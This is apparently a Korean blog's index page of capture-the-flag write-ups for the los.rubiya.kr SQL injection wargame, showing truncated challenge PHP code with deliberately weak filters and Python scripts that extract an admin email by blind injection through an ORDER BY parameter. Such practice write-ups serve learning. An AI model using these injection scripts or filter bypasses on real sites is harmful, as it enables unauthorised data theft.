목록WEB_HACKING (112)

웹찢남

frankenstein-writeup

include "./config.php";  login_chk();  $db = dbconnect();  if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");  $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";  echo "query : {$query}";  $result = @mysqli_fetch_array(mysqli_query($db,$query));  if(mysqli_error($db)) exit("error");  $_GET[pw] = addslashes($_GET[pw]);  $query = "s..
WEB_HACKING/los.rubiya.kr 2020. 1. 29. 22:15
blue_dragon-writeup

include "./config.php";  login_chk();  $db = dbconnect();  if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");  if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");  $query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";  echo "query : {$query}";  $result = @mysqli_fetch_array(mysqli_query($db,$query));  if(preg_match('/\'|\\\/i', $_GET[id]))..
WEB_HACKING/los.rubiya.kr 2020. 1. 29. 22:08
red_dragon-writeup

include "./config.php";  login_chk();  $db = dbconnect();  if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");  if(strlen($_GET['id']) > 7) exit("too long string");  $no = is_numeric($_GET['no']) ? $_GET['no'] : 1;  $query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";  echo "query : {$query}";  $result = @mysqli_fetch_array(mysqli_query($db,$query));  if(..
WEB_HACKING/los.rubiya.kr 2020. 1. 29. 21:44
green_dragon-writeup

include "./config.php";  login_chk();  $db = dbconnect();  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");  $query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";  echo "query : {$query}";  $result = @mysqli_fetch_array(mysqli_query($db,$query));  if($result['id']){    ..
WEB_HACKING/los.rubiya.kr 2020. 1. 29. 21:31
evil_wizard-writeup

저번의 문제와 별 다를 게없다, hell_fire에서 benchmark나 sleep 을 통하여 문제를 푸는거 였나보다,,, import re import requests import time flag = '' length= 0 session =dict(PHPSESSID="자신의 PHPSESSID") for i in range (1,40): for j in range(48,128): r=requests.post("https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=if(id='admin' and ord(substr(email,"+str(i)+",1))="+str(j)+",score,1234)",cookies=s..
WEB_HACKING/los.rubiya.kr 2020. 1. 29. 21:04
hell_fire-writeup

전과 달리 위에 표가 있고 삽입한 값에 따라 표 안의 순서가 뒤바뀐다. order by 를 if 문을 통하여 순서를 바꿔보면 되는데 이 문제는 뭔가 이상했던걸로 기억한다... 어쩃든 CLEAR~! import re import requests import time flag = '' length= 0 session =dict(PHPSESSID="자신의 PHPSESSID") for i in range (1,40): for j in range(48,128): r=requests.post("https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=if(id='admin' and ord(substr(email,"+str(i)+..
WEB_HACKING/los.rubiya.kr 2020. 1. 29. 20:21
Prev 1 ··· 11 12 13 14 15 16 17 ··· 19 Next